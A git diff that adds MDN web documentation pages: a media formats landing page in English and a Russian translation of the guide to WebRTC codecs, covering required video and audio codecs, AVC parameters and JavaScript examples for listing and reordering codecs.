+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Guide to audio codecs used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Guide to video codecs used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/media/formats/index.html b/files/ru/web/media/formats/index.html
new file mode 100644
index 0000000000..9d4f181ae7
--- /dev/null
+++ b/files/ru/web/media/formats/index.html
@@ -0,0 +1,88 @@
+---
+title: 'Media type and format guide: image, audio, and video content'
+slug: Web/Media/Formats
+tags:
+  - API
+  - Audio
+  - Codecs
+  - Containers
+  - File Types
+  - Files
+  - Filetypes
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Types
+  - Video
+  - Web
+  - formats
+translation_of: Web/Media/Formats
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</p>
+
+<p>Since nearly its beginning, the web has included support for some form of visual media presentation. Originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. The modern web has powerful features to support the presentation and manipulation of media, with several media-related APIs supporting various types of content. Generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.</p>
+
+<p><span class="seoSummary">This guide provides an overview of the media file types, {{Glossary("codec", "codecs")}}, and algorithms that may comprise media used on the web.</span> It also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="Images">Images</h3>
+
+<dl>
+ <dt><span style="display: none;"> </span><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></dt>
+ <dd>Covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Images_for_web_designers">Image file types for web designers</a></dt>
+ <dd>Fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content.</dd>
+</dl>
+
+<h3 id="Media_file_types_and_codecs">Media file types and codecs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Containers">Media containers (file types)</a></dt>
+ <dd>A guide to the file types that contain media data. Some are audio-specific, while others may be used for either audio or combined audiovisual content such as movies. Includes overviews of each of the file types supported by the major web browsers, along with browser support information and supported features.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Web audio codec guide</a></dt>
+ <dd>A guide to the audio codecs allowed for by the common media containers, as well as by the major browsers. Includes benefits, limitations, key specifications and capabilities, and use cases. It also covers each browser's support for using the codec in given containers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Web video codec guide</a></dt>
+ <dd>This article provides basic information about the video codecs supported by the major browsers, as well as some that are not commonly supported but that you might still run into. It also covers codec capabilities, benefits, limitations, and browser support levels and restrictions.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/codecs_parameter">The "codecs" parameter in common media types</a></dt>
+ <dd>When specifying the MIME type describing a media format, you can provide details using the <code>codecs</code> parameter as part of the type string. This guide describes the format and possible values of the <code>codecs</code> parameter for the common media types.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> doesn't use a container, but instead streams the encoded media itself from peer to peer using {{domxref("MediaStreamTrack")}} objects to represent each audio or video track. This guide discusses the codecs commonly used with WebRTC.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<h3 id="Concepts">Concepts</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_concepts">Digital audio concepts</a></dt>
+ <dd>An introduction to how audio is converted into digital form and stored for use by computers. It explains basic concepts about how audio is sampled, as well as concepts such as sample rate, audio frames, and audio compression.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_concepts">Digital video concepts</a></dt>
+ <dd>A guide to fundamental concepts involved with digital video as used on the web, including basics about color formats, chroma subsampling, how human perception influences video coding, and so forth.</dd>
+</dl>
+
+<h3 id="Tutorials_and_how-tos">Tutorials and how-tos</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning: Video and audio content</a></dt>
+ <dd>This tutorial introduces and details the use of media on the web.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Support_issues">Handling media support issues in web content</a></dt>
+ <dd>In this guide, we look at how to build web content that maximizes quality or performance while providing the broadest possible compatibility, by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful.</dd>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you discover the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ru/web/media/formats/webrtc_кодеки/index.html b/files/ru/web/media/formats/webrtc_кодеки/index.html
new file mode 100644
index 0000000000..4643eb9ccd
--- /dev/null
+++ b/files/ru/web/media/formats/webrtc_кодеки/index.html
@@ -0,0 +1,483 @@
+---
+title: 'Кодеки, используемые WebRTC'
+slug: Web/Media/Formats/WebRTC_кодеки
+tags:
+  - Кодеки WebRTC
+translation_of: Web/Media/Formats/WebRTC_codecs
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p>С <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> возможно создание сайтов и приложений, позволяющих пользователям общаться в реальном времени, используя аудио и/или видео, а также передавать данные или другую информацию. Для общения, двум устройствам необходима возможность согласования использования кодеков, для каждой дорожки в потоке данных, для успешного взаимодействия и обмена медиаданными. В этом руководстве рассматриваются кодеки, которые требуются браузерам для этого, а также другие кодеки, которые поддерживаются некоторыми или всеми браузерами, поддерживающими <span class="seoSummary">WebRTC.</span></p>
+
+<h2 id="Безконтейнерные_медиаданные">Безконтейнерные медиаданные</h2>
+
+<p>WebRTC использует объект типа {{domxref("MediaStreamTrack")}} для представления каждого трека, передающегося между узлами соединения без использования контейнера или объекта типа {{domxref("MediaStream")}} , объединяющего треки. Какие кодеки моут быть в этих треках, спецификацией  WebRTC не определяется. Однако, {{RFC(7742)}} определяет, что все браузеры, поддерживающие WebRTC, должны поддерживать <a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a> и <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">H.264</a> ограниченный базовый профиль для видео; и {{RFC(7874)}} , определяющая, что браузеры должны поддерживать, по меньшей мере, кодеки <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a> и <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#G.711">G.711</a>  форматов PCMA и PCMU.</p>
+
+<p>Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определенные функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.</p>
+
+<p>Хоть сжатие всегда и необходимо при работе со средствами массовой информации в Интернете, оно имеет дополнительное значение при проведении видеоконференций, чтобы участники могли общаться без задержек и перерывов. Второстепенное значение имеет необходимость синхронизации видео и звука, чтобы движения и любая вспомогательная информация (например, слайды или проекция) были представлены одновременно с соответствующим звуком</p>
+
+<h2 id="Общие_требования_к_кодекам">Общие требования к кодекам</h2>
+
+<p>Прежде чем рассматривать возможности и требования, специфичные для кодеков, необходимо выполнить несколько общих требований, которые должны быть выполнены при любой конфигурации кодеков, используемой с WebRTC</p>
+
+<p>Если {{Glossary ("SDP")}} специально не указывает иное, веб-браузер, принимающий видеопоток WebRTC, должен иметь возможность обрабатывать видео со скоростью не менее 20 кадров в секунду при минимальном разрешении 320 пикселей в ширину и 240 пикселей в высоту. Рекомендуется, чтобы видео кодировалось с частотой кадров и размером не ниже этого, поскольку это, по сути, нижняя граница того, что WebRTC обычно должен обрабатывать.</p>
+
+<p>SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путем отправки <code>a=imageattr</code> атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определенные кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.</p>
+
+<h2 id="Поддерживаемые_видео_кодеки">Поддерживаемые видео кодеки</h2>
+
+<p>WebRTC устанавливает набор базовых кодеков, которые требуются браузерам для работы. Некоторые браузеры могут поддерживать дополнительный набор кодеков.</p>
+
+<p>Ниже приведены видеокодеки, которые требуются в любом полностью совместимом с WebRTC браузере, а также требуемые профили и браузеры, которые фактически соответствуют требованиям</p>
+
+<table class="standard-table">
+ <caption>
+ <p>Обязательные видеокодеки</p>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="row">Наименование кодека</th>
+   <th scope="col">Профиль</th>
+   <th scope="col">Совместимость с браузерами</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{anch("VP8")}}</th>
+   <td>—</td>
+   <td>Chrome, Edge, Firefox, Safari (12.1+)</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("AVC", "AVC / H.264")}}</th>
+   <td>Constrained Baseline (CB)</td>
+   <td>Chrome (52+), Edge, Firefox<sup><a href="#supported-foot-1">[1]</a></sup>, Safari</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a name="supported-foot-1">[1]</a>  Firefox для Android 68 и более поздних версий больше не поддерживает AVC (H.264). Это связано с изменением требований магазина Google Play, которые не позволяют Firefox загружать и устанавливать кодек OpenH264, необходимый для обработки H.264 в соединениях WebRTC. Смотрим подробности в <a href="https://support.mozilla.org/en-US/kb/firefox-android-openh264"> статье о SUMO</a> .</p>
+
+<p>Для получения дополнительной информации о соображениях, связанных с WebRTC для каждого кодека, см. Подразделы ниже, перейдя по ссылкам на название каждого кодека.</p>
+
+<p>Полную информацию о том, какие видеокодеки и конфигурации требуется для поддержки WebRTC, можно найти в {{RFC (7742, "Требования к обработке видео и кодекам WebRTC")}}. Стоит отметить, что RFC охватывает множество требований, связанных с видео, включая цветовые пространства (sRGB является предпочтительным, но не обязательным цветовым пространством по умолчанию), рекомендации по функциям обработки веб-камеры (автоматическая фокусировка, автоматический баланс белого, автоматический уровень освещения) и так далее.</p>
+
+<div class="blockIndicator note">
+<p><strong> Предупреждение :</strong>  Эти требования относятся к веб-браузерам и другим продуктам, полностью совместимым с WebRTC. Продукты, не относящиеся к WebRTC, которые в некоторой степени могут взаимодействовать с WebRTC, могут поддерживать или не поддерживать эти кодеки, хотя это рекомендуется в технических документах</p>
+</div>
+
+<p>В дополнение к обязательным кодекам, некоторые браузеры также поддерживают дополнительные кодеки. Они перечисленны в таблице ниже</p>
+
+<table class="standard-table">
+ <caption>
+ <p>Другие видео кодеки</p>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="row">Наименование кодека</th>
+   <th scope="col">Профили</th>
+   <th scope="col">Совместимость с браузерами</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">VP9</th>
+   <td>—</td>
+   <td>Chrome (48+), Firefox</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Кодек_VP8">Кодек VP8</h3>
+
+<p>VP8, который мы  <a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">описывали в общем</a>  в основной статье  <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководства по сетевым видеокодекам</a>, имеет специфические требования, которым необходимо следовать при кодировании видео треков WebRTC соединения.</p>
+
+<p>По умолчанию, VP8 будет использовать квадратные пиксели (то есть, пиксели с соотношением сторон 1: 1).</p>
+
+<h4 id="Дополнительное_замечание">Дополнительное замечание</h4>
+
+<p>Формат полезной нагрузки сети для совместного использования VP8 с помощью {{Glossary("RTP")}} (например, при использовании WebRTC) описано в {{RFC(7741, "RTP Payload Format for VP8 Video")}}.</p>
+
+<h3 id="Кодек_AVC_H.264"><a id="AVC" name="AVC"> Кодек AVC / H.264</a></h3>
+
+<p>Поддержка профиля AVC Constrained Baseline (<code>CB</code>) требуется во всех полностью совместимых реализациях WebRTC. <code>CB</code> является подмножеством основного профиля и специально разработан для приложений с низкой сложностью и малой задержкой, таких как мобильное видео и видеоконференции, а также для платформ с более низкими возможностями обработки видео..</p>
+
+<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">обзор  AVC</a> и его функциональности найдете в основном руководстве по видиокодекам.</p>
+
+<h4 id="Требования_поддержки_специальных_параметров">Требования поддержки специальных параметров</h4>
+
+<p>AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надежность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определенные параметры определенным образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определенный набор значений. А иногда требования более сложны.</p>
+
+<h5 id="Полезные_но_необязательные_параметры">Полезные, но необязательные параметры</h5>
+
+<p>Эти параметры не обязаны поддерживаться конечной точкой WebRTC, и их использование также не обязательно. Их использование, некоторым образом, может улучшить пользовательское впечатление , но к использованию не обязательно. Некоторые из них довольно сложны в использовании.</p>
+
+<dl>
+ <dt><code>max-br</code></dt>
+ <dd>Если параметр определен и поддерживается , он определяет максимальную скорость передачи видеоданных в  единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на  <a href="https://tools.ietf.org/html/rfc6184#page-47">странице 47 спецификации RFC 6184</a>.</dd>
+ <dt><code>max-cpb</code></dt>
+ <dd>Если параметр определен и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложненный параметр, размер которого может варьироваться. Смотрим на <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу  45 спецификации RFC 6184</a> о подробностях.</dd>
+ <dt><code>max-dpb</code></dt>
+ <dd>Определяет максимальный размер буфера  декодированных данных, выраженных в единицах  8/3 макроблоков. Подробности в спецификации <a href="https://tools.ietf.org/html/rfc6184#page-46">RFC 6184, страница 46</a>.</dd>
+ <dt><code>max-fs</code></dt>
+ <dd>Определяет максимальный размер видеокадра, выраженный в колисестве макроблоков.</dd>
+ <dt><code>max-mbps</code></dt>
+ <dd>Определяет максимальную скорость обработки макроблоков в секунду. Значение является целым числом..</dd>
+ <dt><code>max-smbps</code></dt>
+ <dd>Определяет максимальную скорость обработки статических макроблоков в секунду (используя гипотетическое предположение, что все макроблоки являются статическими макроблоками).</dd>
+</dl>
+
+<h5 id="Пареметры_с_определенными_требованиями">Пареметры с определенными требованиями</h5>
+
+<p>Эти параметры являются необязательными, но имеют специальные требования при их использовании.</p>
+
+<dl>
+ <dt><code>packetization-mode</code></dt>
+ <dd>Все конечные точки обязательны для поддержания режима  1 (не чередующийся режим). Поддержка иных режимов пакетизации не обязательна, и сам параметр не обязателен для определения.</dd>
+ <dt><code>sprop-parameter-sets</code></dt>
+ <dd>Информация о последовательности и изображении для AVC может передаваться как внутри канала, так и вне его. При использовании AVC  с WebRTC, информация должна передаваться в канале, поэтому значение параметра не включается в SDP.</dd>
+</dl>
+
+<h5 id="Обязательные_для_определения_параметры">Обязательные для определения параметры</h5>
+
+<p>Эти параметры обязательны к определению, при использовании AVC в WebRTC соединении.</p>
+
+<dl>
+ <dt><code>profile-level-id</code></dt>
+</dl>
+
+<p>Все реализации WebRTC обязательно определяют и передают  в своих  SDP, определяя суб  - профиль используемого кодека (подмножество инструментов кодирования, которые могут быть использованы для генерации потока или того, что поддерживает получатель) и уровня потока по умолчанию, или уровня поддержки получателя.</p>
+
+<p> Конкретное значение разработчику не известно, используется одно на всех, и устанавливается  WebRTC. Начиная с {{RFC(6184)}} ("RTP Payload Format for H.264 Video"), наличие <code>profile-level-id</code> необязательно.</p>
+
+<h4 id="Прочие_требования">Прочие требования</h4>
+
+<p>В целях поддержки переключения между книжной и альбомной ориентацией можно использовать два метода. Первый - это расширение заголовка видеоориентации (CVO) для протокола RTP. Однако, если это не сигнализируется как поддерживаемое в SDP, тогда рекомендуется, чтобы браузеры поддерживали сообщения Display Orientation SEI, хотя и не обязательно</p>
+
+<p>Если не указано иное, соотношение сторон пикселя составляет 1: 1, что указывает на то, что пиксели являются квадратными</p>
+
+<h4 id="Прочие_замечания">Прочие замечания</h4>
+
+<p>Формат полезной нагрузки, используемый для AVC в WebRTC, описан в {{RFC(6184, "RTP Payload Format for H.264 Video")}}. Реализации AVC для WebRTC необходимы для поддержки специальных сообщений SEI :  «заполнитель нагрузки» и «полное замораживание кадра», они используются для плавного переключения между несколькими входными потоками.</p>
+
+<h2 id="Поддерживаемые_аудио_кодеки">Поддерживаемые аудио кодеки</h2>
+
+<p>Спецификация  {{RFC(7874)}} предписывает всем браузерам поддержку аудиокодеков, перечисленных в таблице :</p>
+
+<table class="standard-table">
+ <caption>
+ <p>Обязательные аудиокодеки</p>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="row">Наименование кодека</th>
+   <th scope="col">Совместимость с браузерами</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a></th>
+   <td>Edge, Firefox, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#G.711">G.711 PCM (A-law)</a></th>
+   <td>Chrome, Firefox, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#G.711">G.711 PCM (µ-law)</a></th>
+   <td>Chrome, Firefox, Safari</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Более подробное обсуждение использования кодеков в WebRTC следует ниже.</p>
+
+<p>Спецификация  {{RFC(7874)}} определяет список аудио кодеков, которые браузеры, реализующие WebRTC обязаны поддерживать; так же предоставляются рекомендации и требования для специфических аудио функциональностей, таких как удаление эхоподавление, шумоподавление и выравнивание звука.</p>
+
+<div class="blockIndicator note">
+<p><strong> Примечание :</strong>  Список выше указывает на минимальный набор кодеков, который требуется реализовать браузерам (браузерному окружению), поддерживающих  WebRTC. Такие браузеры могут поддерживать также и другие кодеки, что подвергает риску межплатформенной совместимости при использовании этих кодеков без проверки гарантированной работоспособности в часто используемых браузерах.</p>
+</div>
+
+<p>В дополнение к обязательным видеокодекам, некоторые браузеры поддерживают дополнительные кодеки, перечисленные в таблице:</p>
+
+<table class="standard-table">
+ <caption>Дополнительные аудио кодеки</caption>
+ <thead>
+  <tr>
+   <th scope="row">Наименование кодека</th>
+   <th scope="col">Совместимость с браузерами</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">G.722</th>
+   <td>Chrome, Firefox, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">iLBC<sup><a href="#other-audio-foot-1">[1]</a></sup></th>
+   <td>Chrome, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">iSAC<sup><a href="#other-audio-foot-2">[2]</a></sup></th>
+   <td>Chrome, Safari</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="other-audio-foot-1" name="other-audio-foot-1">[1]</a> <strong>{{interwiki("wikipedia", "Internet Low Bitrate Codec")}}</strong> (<strong>iLBC</strong>)  - узкополосный кодек с открытым кодом, разработанный Global IP Solutions и Google, спроектированный для потокового голосового аудио. Google и другие разработчики браузеров адоптировали его для работы с  WebRTC, но он доступен не во всех браузерах, и не является обязательно поддерживаемым кодеком.</p>
+
+<p><a id="other-audio-foot-2" name="other-audio-foot-2">[2]</a> The <strong>{{interwiki("wikipedia", "Internet Speech Audio Codec")}}</strong> (<strong>iSAC</strong>)  -  другой кодек, разработанный Global IP Solutions, теперь принадлежащий Google, открывший его код. Используется Google Talk, QQ, и другими клиентами быстрых сообщений, специально спроектированный для голосовых сообщений, упакованных в поток RTP. Пока не является обязатено поддерживаемым кодеком. Поддерживается Safari и Chrome. Не поддерживается Firefox и Edge.</p>
+
+<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность  вызывает временное простановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определенное заполнение в беззвучных промежутках.</p>
+
+<p>Комфортный шум используется с G.711 и может потенциально использоваться с другими кодеками, которые не имеют встроенной функции CN. Кодек Opus, к примеру, имеет собственную реализацию CN, поэтому использование RFC 3389 CN с кодеком Opus не рекомендуется.</p>
+
+<p>Отправитель звука никогда не должен использовать прерывистую передачу или комфортный шум.</p>
+
+<h3 id="Кодек_Opus">Кодек Opus</h3>
+
+<p>Формат Opus, определенный в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">соответствующей секции</a>  нашего <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по аудиокодекам, использующимся в web</a>.</p>
+
+<p>Должны поддерживаться оба режима : речь и обычное аудио. Масштабируемость и гибкость Opus полезна при работе с аудио, имеющим различную степень сложности. Поддержка внутриполосных стереосигналов позволяет поддерживать стереозвук без усложнения процесса демультиплексирования.</p>
+
+<p>Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причем скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..</p>
+
+<h4 id="Рекомендации_по_скорости_передачи_данных_bit_rate">Рекомендации по скорости передачи данных (bit rate)</h4>
+
+<p>При условии размер кадра в 20 миллисекунд, в следующей таблице приведены рекомендуемые скорости передачи данных для различных типов носителей.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Медиа носитель</th>
+   <th scope="col">Рекомендованный диапазон bit rate</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Узкополосная речь (NB)</td>
+   <td>8 - 12 kbps</td>
+  </tr>
+  <tr>
+   <td>Широкополосная речь (WB)</td>
+   <td>16 - 20 kbps</td>
+  </tr>
+  <tr>
+   <td>Полноценная речь (FB)</td>
+   <td>28 - 40 kbps</td>
+  </tr>
+  <tr>
+   <td>Монофоническая музыка (FB mono)</td>
+   <td>48 - 64 kbps</td>
+  </tr>
+  <tr>
+   <td>Стереофоническая музыка (FB stereo)</td>
+   <td>64 - 128 kbps</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Скорость передачи может быть скорректирована в любое время. Во избежание перегрузки сети средняя скорость передачи звука не должна превышать доступную пропускную способность сети (за вычетом любых других известных или ожидаемых дополнительных требований к пропускной способности).</p>
+
+<h3 id="Кодек_G.711">Кодек G.711</h3>
+
+<p>G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что дает скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.</p>
+
+<p>G.711 <a href="https://www.itu.int/rec/T-REC-G.711-198811-I/en">определяется ITU</a>  , а его формат нагрузки в {{RFC(3551, "4.5.14")}}.</p>
+
+<p>WebRTC требует, чтобы G.711 использовал 8-битные выборки со стандартной скоростью 64 кбит / с, хотя G.711 поддерживает некоторые другие варианты. WebRTC не предписывает использовать ни G.711.0 (сжатие без потерь), G.711.1 (широкополосная возможность), ни какие-либо другие расширения стандарта G.711</p>
+
+<p>Из-за низкой частоты дискретизации и размера выборки качество звука G.711 в целом считается низким по современным стандартам, хотя оно примерно эквивалентно звучанию стационарного телефона. Обычно он используется в качестве наименьшего общего знаменателя, чтобы гарантировать, что браузеры могут установить аудио-соединение независимо от платформ и браузеров, или как запасной вариант в целом.</p>
+
+<h2 id="Определение_и_конфигурирование_кодеков">Определение и конфигурирование кодеков</h2>
+
+<h3 id="Получение_поддерживаемых_кодеков">Получение поддерживаемых кодеков</h3>
+
+<p>Поскольку браузер и платформа могут иметь различную доступность среди потенциальных кодеков - и могут иметь несколько профилей или уровней, поддерживаемых для данного кодека - первый шаг при настройке кодеков для объекта типа {{domxref("RTCPeerConnection")}}  - получить список доступных кодеков. Для этого сначала нужно инициализировать объект соединения, который получит список.</p>
+
+<p>Существует два способа для выполнения этого. Наиболее эффективный - использовать статический метод {{domxref("RTCRtpSender.getCapabilities()")}} (или эквивалентный для принимающего узла {{domxref("RTCRtpReceiver.getCapabilities()")}} ), определяющий тип медиаданных в параметре. К примеру, для определения поддерживаемых кодеков видео применяем :</p>
+
+<pre class="brush: js notranslate">codecList = RTCRtpSender.getCapabilities("video").codecs;</pre>
+
+<p>Теперь массив <code>codecList</code> содержит объекты {{domxref("RTCRtpCodecCapability")}} , каждый содержащий описываемую конфигурацию кодека. Также в списке будут присутствовать записи для повторной передачи (RTX), избыточного кодирования (RED) и прямого исправления ошибок (FEC).</p>
+
+<p>Если соединение находится в процессе запуска, используем событие {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}  для наблюдения за изменением статуса сборки кандидатов  {{Glossary("ICE")}} и при завершении, запрашиваем список кодеков.</p>
+
+<pre class="brush: js notranslate">let codecList = null;
+
+peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
+  if (peerConnection.iceGatheringState === "complete") {
+    const senders = peerConnection.getSenders();
+
+    senders.forEach((sender) =&gt; {
+      if (sender.track.kind === "video") {
+        codecList = sender.getParameters().codecs;
+        return;
+      }
+    });
+  }
+
+  codecList = null;
+});</pre>
+
+<p>Обработчик события <code>icegatheringstatechange</code> установлен; в нем мы отслеживаем тип события <code>complete</code> завершения сборки кандидатов ICE, указывающее что сборка кандидатов завершена. Метод {{domxref("RTCPeerConnection.getSenders()")}} вызывается для получения списка всех объектов {{domxref("RTCRtpSender")}} , использующихся в соединении.</p>
+
+<p>Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своем свойстве  {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение <code>video</code>, указывающее, что данные являються видеоданными. Затем вызывается метод отправителя  {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную <code>codecList</code>.</p>
+
+<p>Если видеотрек не найден, устанавливаем  <code>codecList</code> в <code>null</code>.</p>
+
+<p>При возврате, <code>codecList </code>либо  <code>null</code> , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешенную конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong>  Два метода получения списков кодеков, показанные здесь, используют разные типы вывода в своих списках кодеков. Помните об этом при использовании результатов</p>
+</div>
+
+<h3 id="Настройка_списка_кодеков">Настройка списка кодеков</h3>
+
+<p>Как только получен список доступных кодеков, его можно изменить и передать этот пересмотренный список методу  {{domxref("RTCRtpTransceiver.setCodecPreferences()")}} для перенастройки списка, используемых кодеков. Это изменяет порядок предпочтений кодеков, позволяя указать WebRTC на более предпочтительный кодек среди прочих .</p>
+
+<pre class="brush: js notranslate">function changeVideoCodec(mimeType) {
+  const transceivers = peerConnection.getTransceivers();
+
+  transceivers.forEach(transceiver =&gt; {
+    const kind = transceiver.sender.track.kind;
+    let sendCodecs = RTCRtpSender.getCapabilities(kind).codecs;
+    let recvCodecs = RTCRtpReceiver.getCapabilities(kind).codecs;
+
+    if (kind === "video") {
+      sendCodecs = preferCodec(mimeType);
+      recvCodecs = preferCodec(mimeType);
+      transceiver.setCodecPreferences([...sendCodecs, ...recvCodecs]);
+    }
+  });
+
+  peerConnection.onnegotiationneeded();
+}
+</pre>
+
+<p>В этом примере функция  <code>changeVideoCodec()</code> принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приемо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.</p>
+
+<p>Затем, для каждого приемо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения  <code>video</code>, используя статический метод <code>getCapabilities()</code> обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.</p>
+
+<p>Если тип медиаданных является типом  <code>video</code>, вызываем метод <code>preferCodec()</code> для обоих взаимодействующих сторон списков кодеков, который реорганизует список кодеков необходимым образом  (смотри ниже).</p>
+
